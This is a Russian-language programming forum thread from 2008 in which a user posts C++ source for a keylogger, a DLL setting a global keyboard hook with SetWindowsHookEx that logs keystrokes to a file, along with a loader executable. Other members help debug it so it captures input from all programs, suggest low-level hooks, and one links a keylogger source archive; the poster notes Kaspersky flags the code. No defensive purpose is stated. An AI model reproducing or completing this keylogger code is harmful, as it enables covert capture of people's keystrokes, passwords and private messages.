Сейчас на форуме: Magister Yoda, vasilevradislav, tyns777, zombi-vadim (+3 невидимых)

 eXeL@B —› Программирование —› проблема с глобальным хуком для кейлогера
Посл.ответ Сообщение

Ранг: 53.8 (постоянный)
Активность: 0.050
Статус: Участник

Создано: 27 мая 2008 09:11
· Личное сообщение · #1

Для некоторых нужд пишу простенький кейлогер. Столкнулся с проблемой. Пишу длл, ставлю в ней глобальный хук SetWindowsHookEx. Хук ставится, его и каспер ловит и в ольке видно, что ставится. Но он упорно не перехватывает все события, а только те события, которые адресованы окну самого кейлогера, в чем ошибка не пойму
Вот текст dll ки. Язык с++, делаю в C++Borland Builder 6
//-------------------------------------------------------------------- -------

#include <vcl.h>
#include <windows.h>
#include <stdio.h>
#pragma hdrstop

#pragma argsused
HHOOK hHook;
HINSTANCE hInstance;
_declspec(dllexport) int SetHook();
LRESULT CALLBACK KeyHook(int,WPARAM,LPARAM);

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
if(reason==DLL_PROCESS_ATTACH)
hInstance=(HINSTANCE)hinst;
return 1;
}
//-------------------------------------------------------------------- -------
_declspec(dllexport) int SetHook()// тут хук
{
hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHook,hInstance,0);
if(hHook==0) return -1;
return 0;
}
LRESULT CALLBACK KeyHook(int code,WPARAM wParam,LPARAM lParam)// тут записть перехвата в файл
{
FILE *file=fopen("t.log","a");
fprintf(file,"%c",wParam);
fclose(file);
return CallNextHookEx(hHook,code,wParam,lParam);

}

Вот экзешник:
#include <windows.h>
#include <stdio.h>
#pragma hdrstop
//-------------------------------------------------------------------- -------
#pragma argsused

HWND hMainWnd;
HINSTANCE hDll;
LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int (*SetHook)();

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char szClassName[]="MyClass";
MSG msg;
WNDCLASSEX wc;

wc.cbSize=sizeof(wc);
wc.style=CS_HREDRAW|CS_VREDRAW;
wc.lpfnWndProc=WndProc;
wc.cbClsExtra=0;
wc.cbWndExtra=0;
wc.hInstance=hInstance;
wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wc.hCursor=LoadCursor(NULL,IDC_ARROW);
wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
wc.lpszMenuName=NULL;
wc.lpszClassName=szClassName;
wc.hIconSm=LoadIcon(NULL,IDI_APPLICATION);

if(!RegisterClassEx(&wc))
{
MessageBox(NULL,"Cannot register class","Error",MB_OK);
return 0;
}

hMainWnd=CreateWindow(szClassName,"Hello App",WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,0,CW_USEDEFAULT,0,(HWND)NULL,
(HMENU)NULL,(HINSTANCE)hInstance,NULL);

if(!hMainWnd)
{
MessageBox(NULL,"Cannot create main window","Error",MB_OK);
return 0;
}
ShowWindow(hMainWnd,nCmdShow);//SW_HIDE);//
hDll=LoadLibrary((LPCTSTR)"udll.dll");
SetHook=(int(*)())GetProcAddress(hDll,"@SetHook$qv");
if(SetHook)SetHook();

while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
if(hDll)FreeLibrary(hDll);
return msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd ,UINT msg,WPARAM wParam,LPARAM lParam)
{
switch(msg)
{
case WM_CLOSE:
if(hDll)FreeLibrary(hDll);
DestroyWindow(hWnd);
break;
case WM_DESTROY:
if(hDll)FreeLibrary(hDll);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd,msg,wParam,lParam);
}
return 0;
}

Кто глянет, где ошибка и почему не пишет все события в файл, а только события от родного окна???




Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 27 мая 2008 10:04
· Личное сообщение · #2

Ты посылаешь в SetWindowsHookEx() не тот hinst. Перенеси SetHook() в код устанавливающего процесса и используй hinst полученный от LoadLibrary().



Ранг: 110.7 (ветеран)
Активность: 0.070
Статус: Участник
~ tPORt ~

Создано: 27 мая 2008 10:42 · Поправил: LazzY
· Личное сообщение · #3

может я чего не понимаю, но откуда здесь:
dimaxmaster пишет:
LRESULT CALLBACK KeyHook(int code,WPARAM wParam,LPARAM lParam)// тут записть перехвата в файл
{
FILE *file=fopen("t.log","a");
fprintf(file,"%c",wParam);
fclose(file);
return CallNextHookEx(hHook,code,wParam,lParam);
}

вы возьмете hHook для остальных длл ( не тех что поставили хук ) ?

s0larian, глобальная переменая не распространяется на все копии дллок в системе. уже не 98ой год на дворе




Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 27 мая 2008 19:41
· Личное сообщение · #4

LazzY, это ж глобальная переменная у него.



Ранг: 203.3 (наставник)
Активность: 0.220
Статус: Участник
UPX Killer -d

Создано: 27 мая 2008 22:37
· Личное сообщение · #5

dimaxmaster, возьмите хороший работающий пример для сравнительного анализа.

-----
Я медленно снимаю с неё UPX... *FF_User*





Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 28 мая 2008 00:21
· Личное сообщение · #6

LazzY, согласен, эта глобальная переменная установленная в одном процессе не имеет эффекта в другом, но косяк не тут - msdn говорит что этот параметр игнорируется. IMHO косяк с hinst



Ранг: 53.8 (постоянный)
Активность: 0.050
Статус: Участник

Создано: 28 мая 2008 09:04
· Личное сообщение · #7

s0larian пишет:
Ты посылаешь в SetWindowsHookEx() не тот hinst. Перенеси SetHook() в код устанавливающего процесса и используй hinst полученный от LoadLibrary().


Я могу перенести SetHook() в экзешник, но где тогда размещять SetWindowsHookEx(), ведь он находится именно в dll в функции SetHook()?

LazzY Возврат hHook в функции return CallNextHookEx(hHook,code,wParam,lParam) обязателен по MSDN - иначе нужная программа не получит свое сообщение.

s0larian пишет:
LazzY, согласен, эта глобальная переменная установленная в одном процессе не имеет эффекта в другом, но косяк не тут - msdn говорит что этот параметр игнорируется. IMHO косяк с hinst


Может и косяк с hinst, но какой? Я ведь передаю глобальному хуку hinst который возращает dll при аттаче к процессу.
Пока думаю в чем ошибка



Ранг: 107.5 (ветеран)
Активность: 0.150
Статус: Участник

Создано: 28 мая 2008 11:24
· Личное сообщение · #8

Я видил исходник кейлогера на delphi так там из основного модуля функции установки хука передавался hinst. И в интернете много инфы на эту тему которая мне лично помогала.

hMod
Идентифицирует динамически подключаемую библиотеку (DLL), содержащую фильтр - процедуру, указанную lpfn параметром. Параметр hMod должен быть установлен в значение ПУСТО (NULL), если параметр dwThreadId определяет поток, созданный текущим процессом и, если подключаемая процедура внутри кода, связанного с текущим процессом.


Ну и вот вся статья - www.firststeps.ru/mfc/winapi/hook/r.php?35

-----
Md5 fcbb6c9c9a5029b24d70f2d67c7cca74




Ранг: 33.7 (посетитель)
Активность: 0.030
Статус: Участник

Создано: 28 мая 2008 11:40
· Личное сообщение · #9

Вот сам исходник кейлоггера,глянь,мож полезного чего
в нем найдёш

b319_28.05.2008_CRACKLAB.rU.tgz - Key_Logger.7z




Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 28 мая 2008 20:03
· Личное сообщение · #10

dimaxmaster пишет:
Я могу перенести SetHook() в экзешник, но где тогда размещять SetWindowsHookEx(), ведь он находится именно в dll в функции SetHook()?

В .exe

dimaxmaster пишет:
Может и косяк с hinst, но какой?

Я ж тебе отписал уже: "используй hinst полученный от LoadLibrary()"



Ранг: 53.8 (постоянный)
Активность: 0.050
Статус: Участник

Создано: 29 мая 2008 16:59
· Личное сообщение · #11

Нашел ошибку, собственно. Кому интересно, то такие изменения:

1. В dll процедуру SetHOOK() поменял с int на void. Убрал возвращаемое значение.
2. В dll Переменную HINSTANCE hInstanse поменял на HANDLE hInstance
3. Файл записи указал конкретно, было "t.log" стало "E://t.log" (можно любое другое место)

После этого все пишется в файл из любых программ и форм.Сразу добавлю, это только макет. Для корректной работы необходимо переписать процедуры записи в файл, так как при таком коде пишет с кракозябрами. Такой код каспер ловит сразу, на других антивирях не проверял. Собственно каспер видит вызов SetWindowsHookEx и сразу "кричит".

s0larian пишет:
dimaxmaster пишет:
Я могу перенести SetHook() в экзешник, но где тогда размещять SetWindowsHookEx(), ведь он находится именно в dll в функции SetHook()?
В .exe

В exe нельзя переносить, толку не будет. Из exe катит только на 95,98 и Ме Виндосах. 2000, XP и все из этой серии, то хук ставится только в dll




Ранг: 990.2 (! ! !), 380thx
Активность: 0.680
Статус: Модератор
Author of DiE

Создано: 29 мая 2008 17:29 · Поправил: Hellspawn
· Личное сообщение · #12

dimaxmaster пишет:
В exe нельзя переносить, толку не будет. Из exe катит только на 95,98 и Ме Виндосах. 2000, XP и все из этой серии, то хук ставится только в dll


кто вам такое сказал?? гугл -> WH_KEYBOARD_LL и WH_MOUSE_LL

-----
[nice coder and reverser]





Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 30 мая 2008 00:23
· Личное сообщение · #13

dimaxmaster пишет:
В exe нельзя переносить, толку не будет. Из exe катит только на 95,98 и Ме Виндосах. 2000, XP и все из этой серии, то хук ставится только в dll

Чушь. Код выполняется в контексте потока, живущего в оригинальном процессе. То есть в твоём .exe. В примере код физически находится в .dll хотя логически принадлежит (и работает) только в .exe. Объясню с другой стороны - в других процессах этот код никогда не будет вызван - убери его из DLL и всё станет проще и красивее.



Ранг: 53.8 (постоянный)
Активность: 0.050
Статус: Участник

Создано: 30 мая 2008 09:12
· Личное сообщение · #14

Hellspawn,s0larian
Читаем MSDN:http://msdn.microsoft.com/en-us/library/ms644990.aspx

Цитата оттуда, кому лень ходить по ссылке:
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);

lpfn
[in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a DLL. Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
hMod
[in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.
dwThreadId
[in] Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.




Ранг: 990.2 (! ! !), 380thx
Активность: 0.680
Статус: Модератор
Author of DiE

Создано: 30 мая 2008 12:23 · Поправил: Hellspawn
· Личное сообщение · #15

я не пойму, ты что такой непонятливый? те сказали, в ехе всё работает, ниже пролестнуть MSDN лень было?

WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.
...
1. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. The keyboard input can come from the local keyboard driver or from calls to the keybd_event function.
2. This hook is called in the context of the thread that installed it.
...
а если по-русски, то WH_KEYBOARD срабатывает при попадании в очередь сообщений потока сообщений WM_KEYUP/WM_KEYDOWN, а WH_KEYBOARD_LL срабатывает при низкоуровневых клавиатурных событиях, поступающих от драйвера клавиатуры. И процедура обработки WH_KEYBOARD_LL выполняется в контексте приложения, ставившего хук.


-----
[nice coder and reverser]





Ранг: 387.4 (мудрец)
Активность: 0.170
Статус: Участник
системщик

Создано: 30 мая 2008 19:53 · Поправил: s0larian
· Личное сообщение · #16

dimaxmaster, ну и где ты видишь указание что код установщика должен жить в DLL? Думай головой - где живёт этот код, с точки зрения OS, не важно. Другой вопрос - где живёт код обработчика. Это разные вещи - сечёшь?


 eXeL@B —› Программирование —› проблема с глобальным хуком для кейлогера
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати